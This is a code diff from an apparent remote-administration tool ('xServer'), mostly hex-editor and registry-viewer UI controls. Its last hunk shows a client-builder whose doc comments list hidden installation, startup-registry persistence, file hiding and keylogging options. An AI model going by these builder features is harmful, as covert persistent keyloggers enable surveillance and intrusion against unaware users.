index = _editor.BytesPerLine;
|
||||
}
|
||||
|
||||
if (e.Shift)
|
||||
_editor.SetCaretEnd(index, position);
|
||||
else
|
||||
_editor.SetCaretStart(index, position);
|
||||
_isEditing = false;
|
||||
}
|
||||
else
|
||||
{
|
||||
HandleArrowKeys(index, e.Shift);
|
||||
}
|
||||
}
|
||||
else if (e.KeyCode == Keys.Down && (_editor.CaretIndex - 1) / _editor.BytesPerLine < _editor.HexTableLength / _editor.BytesPerLine)
|
||||
{
|
||||
int index = _editor.CaretIndex + _editor.BytesPerLine;
|
||||
|
||||
if (index > _editor.HexTableLength)
|
||||
{
|
||||
index = _editor.HexTableLength;
|
||||
HandleArrowKeys(index, e.Shift);
|
||||
}
|
||||
else
|
||||
{
|
||||
Point position = new Point(_editor.CaretPosX, _editor.CaretPosY + _recHexValue.Height);
|
||||
|
||||
if (e.Shift)
|
||||
_editor.SetCaretEnd(index, position);
|
||||
else
|
||||
_editor.SetCaretStart(index, position);
|
||||
_isEditing = false;
|
||||
}
|
||||
}
|
||||
else if (e.KeyCode == Keys.Left && (_editor.CaretIndex - 1) >= 0)
|
||||
{
|
||||
int index = _editor.CaretIndex - 1;
|
||||
HandleArrowKeys(index, e.Shift);
|
||||
}
|
||||
else if (e.KeyCode == Keys.Right && (_editor.CaretIndex + 1) <= _editor.HexTableLength)
|
||||
{
|
||||
int index = _editor.CaretIndex + 1;
|
||||
HandleArrowKeys(index, e.Shift);
|
||||
}
|
||||
}
|
||||
|
||||
public void HandleArrowKeys(int index, bool isShiftDown)
|
||||
{
|
||||
Point position = GetCaretLocation(index);
|
||||
|
||||
if (isShiftDown)
|
||||
_editor.SetCaretEnd(index, position);
|
||||
else
|
||||
_editor.SetCaretStart(index, position);
|
||||
_isEditing = false;
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region MouseEvent
|
||||
|
||||
public void OnMouseDown(int x, int y)
|
||||
{
|
||||
int iX = (x - _recHexValue.X) / _recHexValue.Width;
|
||||
int iY = (y - _recHexValue.Y) / _recHexValue.Height;
|
||||
|
||||
//Check that values are good
|
||||
iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX;
|
||||
iX = iX < 0 ? 0 : iX;
|
||||
iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY;
|
||||
iY = iY < 0 ? 0 : iY;
|
||||
|
||||
//Make sure values are withing the given bounds
|
||||
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY)
|
||||
{
|
||||
//Check that column is not greater than max
|
||||
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX)
|
||||
{
|
||||
iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine;
|
||||
}
|
||||
iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine;
|
||||
}
|
||||
|
||||
//Get the smallest possible location (do not want to exceed the max)
|
||||
int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + (iY * _editor.BytesPerLine));
|
||||
|
||||
int xPos = (iX * _recHexValue.Width) + _recHexValue.X;
|
||||
int yPos = (iY * _recHexValue.Height) + _recHexValue.Y;
|
||||
|
||||
_editor.SetCaretStart(index, new Point(xPos, yPos));
|
||||
_isEditing = false;
|
||||
}
|
||||
|
||||
public void OnMouseDragged(int x, int y)
|
||||
{
|
||||
int iX = (x - _recHexValue.X) / _recHexValue.Width;
|
||||
int iY = (y - _recHexValue.Y) / _recHexValue.Height;
|
||||
|
||||
//Check that values are good
|
||||
iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX;
|
||||
iX = iX < 0 ? 0 : iX;
|
||||
iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY;
|
||||
|
||||
if (_editor.FirstVisibleByte > 0)
|
||||
{
|
||||
iY = iY < 0 ? -1 : iY;
|
||||
}
|
||||
else
|
||||
{
|
||||
iY = iY < 0 ? 0 : iY;
|
||||
}
|
||||
|
||||
//Make sure values are withing the given bounds
|
||||
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY)
|
||||
{
|
||||
//Check that column is not greater than max
|
||||
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX)
|
||||
{
|
||||
iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine;
|
||||
}
|
||||
iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine;
|
||||
}
|
||||
|
||||
//Get the smallest possible location (do not want to exceed the max)
|
||||
int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + (iY * _editor.BytesPerLine));
|
||||
|
||||
int xPos = (iX * _recHexValue.Width) + _recHexValue.X;
|
||||
int yPos = (iY * _recHexValue.Height) + _recHexValue.Y;
|
||||
|
||||
_editor.SetCaretEnd(index, new Point(xPos, yPos));
|
||||
}
|
||||
|
||||
public void OnMouseDoubleClick()
|
||||
{
|
||||
if (_editor.CaretIndex < _editor.LastVisibleByte)
|
||||
{
|
||||
int index = _editor.CaretIndex + 1;
|
||||
Point newLocation = GetCaretLocation(index);
|
||||
_editor.SetCaretEnd(index, newLocation);
|
||||
}
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#endregion
|
||||
|
||||
#region PaintMethod
|
||||
|
||||
public void Update(int startPositionX, Rectangle area)
|
||||
{
|
||||
_recHexValue = new Rectangle(
|
||||
startPositionX,
|
||||
area.Y,
|
||||
(int)(_editor.CharSize.Width * 3),
|
||||
(int)(_editor.CharSize.Height) - 2
|
||||
);
|
||||
|
||||
_recHexValue.X += _editor.EntityMargin;
|
||||
}
|
||||
|
||||
public void Paint(Graphics g, int index, int startIndex)
|
||||
{
|
||||
Point columnAndRow = GetByteColumnAndRow(index);
|
||||
|
||||
if (_editor.IsSelected(index + startIndex))
|
||||
{
|
||||
PaintByteAsSelected(g, columnAndRow, (index + startIndex));
|
||||
}
|
||||
else
|
||||
{
|
||||
PaintByte(g, columnAndRow, (index + startIndex));
|
||||
}
|
||||
}
|
||||
|
||||
private void PaintByteAsSelected(Graphics g, Point point, int index)
|
||||
{
|
||||
SolidBrush backBrush = new SolidBrush(_editor.SelectionBackColor);
|
||||
SolidBrush textBrush = new SolidBrush(_editor.SelectionForeColor);
|
||||
RectangleF drawSurface = GetBound(point);
|
||||
string hexValue = _editor.GetByte(index).ToString(_hexType);
|
||||
|
||||
g.FillRectangle(backBrush, drawSurface);
|
||||
g.DrawString(hexValue, _editor.Font, textBrush, drawSurface, _stringFormat);
|
||||
}
|
||||
|
||||
private void PaintByte(Graphics g, Point point, int index)
|
||||
{
|
||||
SolidBrush brush = new SolidBrush(_editor.ForeColor);
|
||||
RectangleF drawSurface = GetBound(point);
|
||||
string hexValue = _editor.GetByte(index).ToString(_hexType);
|
||||
|
||||
g.DrawString(hexValue, _editor.Font, brush, drawSurface, _stringFormat);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
public void SetLowerCase()
|
||||
{
|
||||
_hexType = "x2";
|
||||
}
|
||||
|
||||
public void SetUpperCase()
|
||||
{
|
||||
_hexType = "X2";
|
||||
}
|
||||
|
||||
public void Focus()
|
||||
{
|
||||
int index = _editor.CaretIndex;
|
||||
Point location = GetCaretLocation(index);
|
||||
_editor.SetCaretStart(index, location);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Caret
|
||||
|
||||
/// <summary>
|
||||
/// Get the caret current location
|
||||
/// in the given bound.
|
||||
/// </summary>
|
||||
private Point GetCaretLocation(int index)
|
||||
{
|
||||
int xPos = _recHexValue.X + (_recHexValue.Width * (index % _editor.BytesPerLine));
|
||||
int yPos = _recHexValue.Y + (_recHexValue.Height * ((index - (_editor.FirstVisibleByte + index % _editor.BytesPerLine)) / _editor.BytesPerLine));
|
||||
|
||||
Point ret = new Point(xPos, yPos);
|
||||
return ret;
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Misc
|
||||
|
||||
private void HandleUserRemove()
|
||||
{
|
||||
//Calculate where to position the caret after the removal
|
||||
int index = _editor.SelectionStart;
|
||||
Point position = GetCaretLocation(index);
|
||||
//Remove all of the selected bytes
|
||||
_editor.RemoveSelectedBytes();
|
||||
|
||||
//Set the new position of the caret
|
||||
_editor.SetCaretStart(index, position);
|
||||
}
|
||||
|
||||
private void HandleUserInput(char key)
|
||||
{
|
||||
if (!_editor.CaretFocused)
|
||||
return;
|
||||
|
||||
//Perform overwrite
|
||||
HandleUserRemove();
|
||||
|
||||
if (_isEditing)
|
||||
{
|
||||
//Editing has already started, should change the second nibble
|
||||
_isEditing = false;
|
||||
//Load old bytes to allow change
|
||||
byte oldByte = _editor.GetByte(_editor.CaretIndex);
|
||||
//Append the new nibble
|
||||
oldByte += Convert.ToByte(key.ToString(), 16);
|
||||
_editor.SetByte(_editor.CaretIndex, oldByte);
|
||||
//Relocate the caret
|
||||
int index = _editor.CaretIndex + 1;
|
||||
Point newLocation = GetCaretLocation(index);
|
||||
_editor.SetCaretStart(index, newLocation);
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
//Begin new edit phase
|
||||
_isEditing = true;
|
||||
string hexByte = key.ToString() + "0";
|
||||
byte newByte = Convert.ToByte(hexByte, 16);
|
||||
|
||||
if (_editor.HexTable.Length <= 0)
|
||||
{
|
||||
_editor.AppendByte(newByte);
|
||||
}
|
||||
else
|
||||
{
|
||||
_editor.InsertByte(_editor.CaretIndex, newByte);
|
||||
}
|
||||
|
||||
//Relocate the caret to the middle of the hex value (provide illusion of editing the second value)
|
||||
int xPos = (_recHexValue.X + (_recHexValue.Width * ((_editor.CaretIndex) % _editor.BytesPerLine)) + (_recHexValue.Width / 2));
|
||||
int yPos = _recHexValue.Y + (_recHexValue.Height * ((_editor.CaretIndex - (_editor.FirstVisibleByte + _editor.CaretIndex % _editor.BytesPerLine)) / _editor.BytesPerLine));
|
||||
|
||||
_editor.SetCaretStart(_editor.CaretIndex, new Point(xPos, yPos));
|
||||
}
|
||||
}
|
||||
|
||||
private Point GetByteColumnAndRow(int index)
|
||||
{
|
||||
int column = index % _editor.BytesPerLine;
|
||||
int row = index / _editor.BytesPerLine;
|
||||
|
||||
Point ret = new Point(column, row);
|
||||
return ret;
|
||||
}
|
||||
|
||||
private RectangleF GetBound(Point point)
|
||||
{
|
||||
RectangleF ret = new RectangleF(
|
||||
_recHexValue.X + (point.X * _recHexValue.Width),
|
||||
_recHexValue.Y + (point.Y * _recHexValue.Height),
|
||||
_recHexValue.Width,
|
||||
_recHexValue.Height
|
||||
);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
private bool IsHex(char c)
|
||||
{
|
||||
return (c >= 'a' && c <= 'f') ||
|
||||
(c >= 'A' && c <= 'F') ||
|
||||
Char.IsDigit(c);
|
||||
}
|
||||
|
||||
#endregion
|
||||
}
|
||||
}
|
|
@ -0,0 +1,27 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace xServer.Controls.HexEditor
|
||||
{
|
||||
public interface IKeyMouseEventHandler
|
||||
{
|
||||
void OnKeyPress(KeyPressEventArgs e);
|
||||
|
||||
void OnKeyDown(KeyEventArgs e);
|
||||
|
||||
void OnKeyUp(KeyEventArgs e);
|
||||
|
||||
void OnMouseDown(MouseEventArgs e);
|
||||
|
||||
void OnMouseDragged(MouseEventArgs e);
|
||||
|
||||
void OnMouseUp(MouseEventArgs e);
|
||||
|
||||
void OnMouseDoubleClick(MouseEventArgs e);
|
||||
|
||||
void OnGotFocus(EventArgs e);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,385 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace xServer.Controls.HexEditor
|
||||
{
|
||||
public class StringViewHandler
|
||||
{
|
||||
#region Field
|
||||
|
||||
/// <summary>
|
||||
/// Contains the boundary of
|
||||
/// a single line
|
||||
/// </summary>
|
||||
Rectangle _recStringView;
|
||||
|
||||
/// <summary>
|
||||
/// Contains the format of the
|
||||
/// string to be used in the
|
||||
/// string view
|
||||
/// </summary>
|
||||
StringFormat _stringFormat;
|
||||
|
||||
private HexEditor _editor;
|
||||
|
||||
#endregion
|
||||
|
||||
#region Properties
|
||||
|
||||
public int MaxWidth
|
||||
{
|
||||
get { return _recStringView.X + _recStringView.Width; }
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Constructor
|
||||
|
||||
public StringViewHandler(HexEditor editor)
|
||||
{
|
||||
_editor = editor;
|
||||
|
||||
//Set String format for the values
|
||||
_stringFormat = new StringFormat(StringFormat.GenericTypographic);
|
||||
_stringFormat.Alignment = StringAlignment.Center;
|
||||
_stringFormat.LineAlignment = StringAlignment.Center;
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region KeyMouseEvents
|
||||
|
||||
#region Key
|
||||
|
||||
public void OnKeyPress(KeyPressEventArgs e)
|
||||
{
|
||||
if (!Char.IsControl(e.KeyChar))
|
||||
{
|
||||
HandleUserInput(e.KeyChar);
|
||||
}
|
||||
}
|
||||
|
||||
public void OnKeyDown(KeyEventArgs e)
|
||||
{
|
||||
if (e.KeyCode == Keys.Delete || e.KeyCode == Keys.Back)
|
||||
{
|
||||
if (_editor.SelectionLength > 0)
|
||||
{
|
||||
//Remove the selected bytes
|
||||
HandleUserRemove();
|
||||
int index = _editor.CaretIndex;
|
||||
Point newLocation = GetCaretLocation(index);
|
||||
_editor.SetCaretStart(index, newLocation);
|
||||
}
|
||||
else if (_editor.CaretIndex < _editor.LastVisibleByte && e.KeyCode == Keys.Delete)
|
||||
{
|
||||
//Remove the byte after the caret
|
||||
_editor.RemoveByteAt(_editor.CaretIndex);
|
||||
Point newLocation = GetCaretLocation(_editor.CaretIndex);
|
||||
_editor.SetCaretStart(_editor.CaretIndex, newLocation);
|
||||
}
|
||||
else if (_editor.CaretIndex > 0 && e.KeyCode == Keys.Back)
|
||||
{
|
||||
//Remove byte before the caret
|
||||
int index = _editor.CaretIndex - 1;
|
||||
_editor.RemoveByteAt(index);
|
||||
Point newLocation = GetCaretLocation(index);
|
||||
_editor.SetCaretStart(index, newLocation);
|
||||
}
|
||||
}
|
||||
else if (e.KeyCode == Keys.Up && (_editor.CaretIndex - _editor.BytesPerLine) >= 0)
|
||||
{
|
||||
int index = _editor.CaretIndex - _editor.BytesPerLine;
|
||||
|
||||
//Check ig caret is att the end of the line
|
||||
if (index % _editor.BytesPerLine == 0 && _editor.CaretPosX >= _recStringView.X + _recStringView.Width)
|
||||
{
|
||||
Point position = new Point(_editor.CaretPosX, _editor.CaretPosY - _recStringView.Height);
|
||||
|
||||
//check that this is not the last row (nothing above)
|
||||
if (index == 0)
|
||||
{
|
||||
//Last row do not change index and position
|
||||
position = new Point(_editor.CaretPosX, _editor.CaretPosY);
|
||||
index = _editor.BytesPerLine;
|
||||
}
|
||||
|
||||
if (e.Shift)
|
||||
_editor.SetCaretEnd(index, position);
|
||||
else
|
||||
_editor.SetCaretStart(index, position);
|
||||
}
|
||||
else
|
||||
{
|
||||
HandleArrowKeys(index, e.Shift);
|
||||
}
|
||||
}
|
||||
else if (e.KeyCode == Keys.Down && (_editor.CaretIndex - 1) / _editor.BytesPerLine < _editor.HexTableLength / _editor.BytesPerLine)
|
||||
{
|
||||
int index = _editor.CaretIndex + _editor.BytesPerLine;
|
||||
|
||||
if (index > _editor.HexTableLength)
|
||||
{
|
||||
index = _editor.HexTableLength;
|
||||
HandleArrowKeys(index, e.Shift);
|
||||
}
|
||||
else
|
||||
{
|
||||
Point position = new Point(_editor.CaretPosX, _editor.CaretPosY + _recStringView.Height);
|
||||
|
||||
if (e.Shift)
|
||||
_editor.SetCaretEnd(index, position);
|
||||
else
|
||||
_editor.SetCaretStart(index, position);
|
||||
}
|
||||
}
|
||||
else if (e.KeyCode == Keys.Left && (_editor.CaretIndex - 1) >= 0)
|
||||
{
|
||||
int index = _editor.CaretIndex - 1;
|
||||
HandleArrowKeys(index, e.Shift);
|
||||
}
|
||||
else if (e.KeyCode == Keys.Right && (_editor.CaretIndex + 1) <= _editor.LastVisibleByte)
|
||||
{
|
||||
int index = _editor.CaretIndex + 1;
|
||||
HandleArrowKeys(index, e.Shift);
|
||||
}
|
||||
}
|
||||
|
||||
public void HandleArrowKeys(int index, bool isShiftDown)
|
||||
{
|
||||
Point newLocation = GetCaretLocation(index);
|
||||
if (isShiftDown)
|
||||
_editor.SetCaretEnd(index, newLocation);
|
||||
else
|
||||
_editor.SetCaretStart(index, newLocation);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Mouse
|
||||
|
||||
public void OnMouseDown(int x, int y)
|
||||
{
|
||||
int iX = (x - _recStringView.X) / (int)_editor.CharSize.Width;
|
||||
int iY = (y - _recStringView.Y) / _recStringView.Height;
|
||||
|
||||
//Check that values are good
|
||||
iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX;
|
||||
iX = iX < 0 ? 0 : iX;
|
||||
iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY;
|
||||
iY = iY < 0 ? 0 : iY;
|
||||
|
||||
//Make sure values are withing the given bounds
|
||||
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY)
|
||||
{
|
||||
//Check that column is not greater than max
|
||||
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX)
|
||||
{
|
||||
iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine;
|
||||
}
|
||||
iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine;
|
||||
}
|
||||
|
||||
//Get the smallest possible location (do not want to exceed the max)
|
||||
int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + iY * _editor.BytesPerLine);
|
||||
|
||||
int xPos = (iX * (int)_editor.CharSize.Width) + _recStringView.X;
|
||||
int yPos = (iY * _recStringView.Height) + _recStringView.Y;
|
||||
|
||||
_editor.SetCaretStart(index, new Point(xPos, yPos));
|
||||
}
|
||||
|
||||
public void OnMouseDragged(int x, int y)
|
||||
{
|
||||
int iX = (x - _recStringView.X) / (int)_editor.CharSize.Width;
|
||||
int iY = (y - _recStringView.Y) / _recStringView.Height;
|
||||
|
||||
//Check that values are good
|
||||
iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX;
|
||||
iX = iX < 0 ? 0 : iX;
|
||||
iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY;
|
||||
|
||||
if (_editor.FirstVisibleByte > 0)
|
||||
{
|
||||
iY = iY < 0 ? -1 : iY;
|
||||
}
|
||||
else
|
||||
{
|
||||
iY = iY < 0 ? 0 : iY;
|
||||
}
|
||||
|
||||
//Make sure values are withing the given bounds
|
||||
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY)
|
||||
{
|
||||
//Check that column is not greater than max
|
||||
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX)
|
||||
{
|
||||
iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine;
|
||||
}
|
||||
iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine;
|
||||
}
|
||||
|
||||
//Get the smallest possible location (do not want to exceed the max)
|
||||
int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + iY * _editor.BytesPerLine);
|
||||
|
||||
int xPos = (iX * (int)_editor.CharSize.Width) + _recStringView.X;
|
||||
int yPos = (iY * _recStringView.Height) + _recStringView.Y;
|
||||
|
||||
_editor.SetCaretEnd(index, new Point(xPos, yPos));
|
||||
}
|
||||
|
||||
public void OnMouseDoubleClick()
|
||||
{
|
||||
if (_editor.CaretIndex < _editor.LastVisibleByte)
|
||||
{
|
||||
int index = _editor.CaretIndex + 1;
|
||||
Point newLocation = GetCaretLocation(index);
|
||||
_editor.SetCaretEnd(index, newLocation);
|
||||
}
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Focus
|
||||
|
||||
public void Focus()
|
||||
{
|
||||
int index = _editor.CaretIndex;
|
||||
Point location = GetCaretLocation(index);
|
||||
_editor.SetCaretStart(index, location);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#endregion
|
||||
|
||||
#region Paint
|
||||
|
||||
public void Update(int startPositionX, Rectangle area)
|
||||
{
|
||||
_recStringView = new Rectangle(
|
||||
startPositionX,
|
||||
area.Y,
|
||||
(int)(_editor.CharSize.Width * _editor.BytesPerLine),
|
||||
(int)(_editor.CharSize.Height) - 2
|
||||
);
|
||||
|
||||
_recStringView.X += _editor.EntityMargin;
|
||||
}
|
||||
|
||||
public void Paint(Graphics g, int index, int startIndex)
|
||||
{
|
||||
Point columnAndRow = GetByteColumnAndRow(index);
|
||||
|
||||
if (_editor.IsSelected(index + startIndex))
|
||||
{
|
||||
PaintByteAsSelected(g, columnAndRow, (index + startIndex));
|
||||
}
|
||||
else
|
||||
{
|
||||
PaintByte(g, columnAndRow, (index + startIndex));
|
||||
}
|
||||
}
|
||||
|
||||
private void PaintByteAsSelected(Graphics g, Point point, int index)
|
||||
{
|
||||
SolidBrush backBrush = new SolidBrush(_editor.SelectionBackColor);
|
||||
SolidBrush textBrush = new SolidBrush(_editor.SelectionForeColor);
|
||||
RectangleF drawSurface = GetBound(point);
|
||||
char value = _editor.GetByteAsChar(index);
|
||||
string strValue = (Char.IsControl(value) ? "." : value.ToString());
|
||||
|
||||
g.FillRectangle(backBrush, drawSurface);
|
||||
g.DrawString(strValue, _editor.Font, textBrush, drawSurface, _stringFormat);
|
||||
}
|
||||
|
||||
private void PaintByte(Graphics g, Point point, int index)
|
||||
{
|
||||
SolidBrush brush = new SolidBrush(_editor.ForeColor);
|
||||
RectangleF drawLocation = GetBound(point);
|
||||
char value = _editor.GetByteAsChar(index);
|
||||
string strValue = (Char.IsControl(value) ? "." : value.ToString());
|
||||
|
||||
g.DrawString(strValue, _editor.Font, brush, drawLocation, _stringFormat);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Caret
|
||||
|
||||
/// <summary>
|
||||
/// Get the caret current location
|
||||
/// in the given bound.
|
||||
/// </summary>
|
||||
private Point GetCaretLocation(int index)
|
||||
{
|
||||
int xPos = _recStringView.X + ((int)_editor.CharSize.Width * (index % _editor.BytesPerLine));
|
||||
int yPos = _recStringView.Y + ((int)_recStringView.Height * ((index - (_editor.FirstVisibleByte + index % _editor.BytesPerLine)) / _editor.BytesPerLine));
|
||||
|
||||
Point ret = new Point(xPos, yPos);
|
||||
return ret;
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Misc
|
||||
|
||||
private void HandleUserRemove()
|
||||
{
|
||||
//Calculate where to position the caret after the removal
|
||||
int index = _editor.SelectionStart;
|
||||
Point position = GetCaretLocation(index);
|
||||
//Remove all of the selected bytes
|
||||
_editor.RemoveSelectedBytes();
|
||||
|
||||
//Set the new position of the caret
|
||||
_editor.SetCaretStart(index, position);
|
||||
}
|
||||
|
||||
private void HandleUserInput(char key)
|
||||
{
|
||||
if (!_editor.CaretFocused)
|
||||
return;
|
||||
|
||||
HandleUserRemove();
|
||||
|
||||
byte newByte = Convert.ToByte(key);
|
||||
|
||||
if (_editor.HexTableLength <= 0)
|
||||
_editor.AppendByte(newByte);
|
||||
else
|
||||
_editor.InsertByte(_editor.CaretIndex, newByte);
|
||||
|
||||
int index = _editor.CaretIndex + 1;
|
||||
Point newLocation = GetCaretLocation(index);
|
||||
_editor.SetCaretStart(index, newLocation);
|
||||
}
|
||||
|
||||
private Point GetByteColumnAndRow(int index)
|
||||
{
|
||||
int column = index % _editor.BytesPerLine;
|
||||
int row = index / _editor.BytesPerLine;
|
||||
|
||||
Point ret = new Point(column, row);
|
||||
return ret;
|
||||
}
|
||||
|
||||
private RectangleF GetBound(Point point)
|
||||
{
|
||||
RectangleF ret = new RectangleF(
|
||||
_recStringView.X + (point.X * (int)_editor.CharSize.Width),
|
||||
_recStringView.Y + (point.Y * _recStringView.Height),
|
||||
_editor.CharSize.Width,
|
||||
_recStringView.Height
|
||||
);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
#endregion
|
||||
}
|
||||
}
|
|
@ -151,8 +151,6 @@ namespace xServer.Controls
|
|||
public RapidPictureBox()
|
||||
{
|
||||
this.SetStyle(ControlStyles.UserPaint | ControlStyles.AllPaintingInWmPaint | ControlStyles.OptimizedDoubleBuffer, true);
|
||||
|
||||
_frameCounter = new FrameCounter();
|
||||
}
|
||||
|
||||
protected override CreateParams CreateParams
|
||||
|
|
|
@ -0,0 +1,18 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace xServer.Controls
|
||||
{
|
||||
public class RegistryTreeView : TreeView
|
||||
{
|
||||
|
||||
public RegistryTreeView()
|
||||
{
|
||||
//Enable double buffering and ignore WM_ERASEBKGND to reduce flicker
|
||||
SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.AllPaintingInWmPaint, true);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,92 @@
|
|||
using System;
|
||||
using System.Collections;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace xServer.Controls
|
||||
{
|
||||
//Comparer for comparing registry values (listview)
|
||||
//Used to sort the elements in the listview according to the RegName property
|
||||
public class RegistryValueListItemComparer : IComparer
|
||||
{
|
||||
public RegistryValueListItemComparer() { }
|
||||
|
||||
public int Compare(object x, object y)
|
||||
{
|
||||
if (x.GetType() == typeof(RegistryValueLstItem) && y.GetType() == typeof(RegistryValueLstItem))
|
||||
{
|
||||
//Compare if the names are the same
|
||||
return String.Compare(((RegistryValueLstItem)x).RegName, ((RegistryValueLstItem)y).RegName);
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
internal class RegistryValueLstItem : ListViewItem
|
||||
{
|
||||
private string _regName { get; set; }
|
||||
private string _type { get; set; }
|
||||
private string _data { get; set; }
|
||||
|
||||
public string RegName {
|
||||
get { return _regName; }
|
||||
set
|
||||
{
|
||||
_regName = value;
|
||||
//Handle if the given value is for a null registry value (default value)
|
||||
//Display (Default) not empty string
|
||||
this.Name = String.IsNullOrEmpty(value) ? "(Default)" : value;
|
||||
this.Text = String.IsNullOrEmpty(value) ? "(Default)" : value;
|
||||
}
|
||||
}
|
||||
public string Type {
|
||||
get { return _type; }
|
||||
set
|
||||
{
|
||||
_type = value;
|
||||
this.ImageIndex = GetRegistryValueImgIndex(value);
|
||||
}
|
||||
}
|
||||
|
||||
public string Data {
|
||||
get { return _data; }
|
||||
set
|
||||
{
|
||||
//Hardcoded that the data is the second column
|
||||
if (this.SubItems.Count == 3)
|
||||
{
|
||||
this.SubItems[2].Text = value;
|
||||
_data = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public RegistryValueLstItem(string name, string type, string data) :
|
||||
base()
|
||||
{
|
||||
RegName = name;
|
||||
this.SubItems.Add(type);
|
||||
Type = type;
|
||||
this.SubItems.Add(data);
|
||||
Data = data;
|
||||
}
|
||||
|
||||
private int GetRegistryValueImgIndex(string type)
|
||||
{
|
||||
switch (type)
|
||||
{
|
||||
case "REG_MULTI_SZ":
|
||||
case "REG_SZ":
|
||||
case "REG_EXPAND_SZ":
|
||||
return 0;
|
||||
case "REG_BINARY":
|
||||
case "REG_DWORD":
|
||||
case "REG_QWORD":
|
||||
default:
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,9 +1,9 @@
|
|||
using System;
|
||||
using System.IO;
|
||||
using Mono.Cecil;
|
||||
using Mono.Cecil.Cil;
|
||||
using Vestris.ResourceLib;
|
||||
using xServer.Core.Cryptography;
|
||||
using xServer.Core.Data;
|
||||
using xServer.Core.Helper;
|
||||
|
||||
namespace xServer.Core.Build
|
||||
|
@ -14,43 +14,16 @@ namespace xServer.Core.Build
|
|||
public static class ClientBuilder
|
||||
{
|
||||
/// <summary>
|
||||
/// Builds a client executable. Assumes that the binaries for the client exist.
|
||||
/// Builds a client executable.
|
||||
/// </summary>
|
||||
/// <param name="output">The name of the final file.</param>
|
||||
/// <param name="tag">The tag to identify the client.</param>
|
||||
/// <param name="host">The raw host list.</param>
|
||||
/// <param name="password">The password that is used to connect to the website.</param>
|
||||
/// <param name="installsub">The sub-folder to install the client.</param>
|
||||
/// <param name="installname">Name of the installed executable.</param>
|
||||
/// <param name="mutex">The client's mutex</param>
|
||||
/// <param name="startupkey">The registry key to add for running on startup.</param>
|
||||
/// <param name="install">Decides whether to install the client on the machine.</param>
|
||||
/// <param name="startup">Determines whether to add the program to startup.</param>
|
||||
/// <param name="hidefile">Determines whether to hide the file.</param>
|
||||
/// <param name="keylogger">Determines if keylogging functionality should be activated.</param>
|
||||
/// <param name="reconnectdelay">The amount the client will wait until attempting to reconnect.</param>
|
||||
/// <param name="installpath">The installation path of the client.</param>
|
||||
/// <param name="iconpath">The path to the icon for the client.</param>
|
||||
/// <param name="asminfo">Information about the client executable's assembly information.</param>
|
||||
/// <param name="version">The version number of the client.</param>
|
||||
/// <exception cref="System.Exception">Thrown if the builder was unable to rename the client executable.</exception>
|
||||
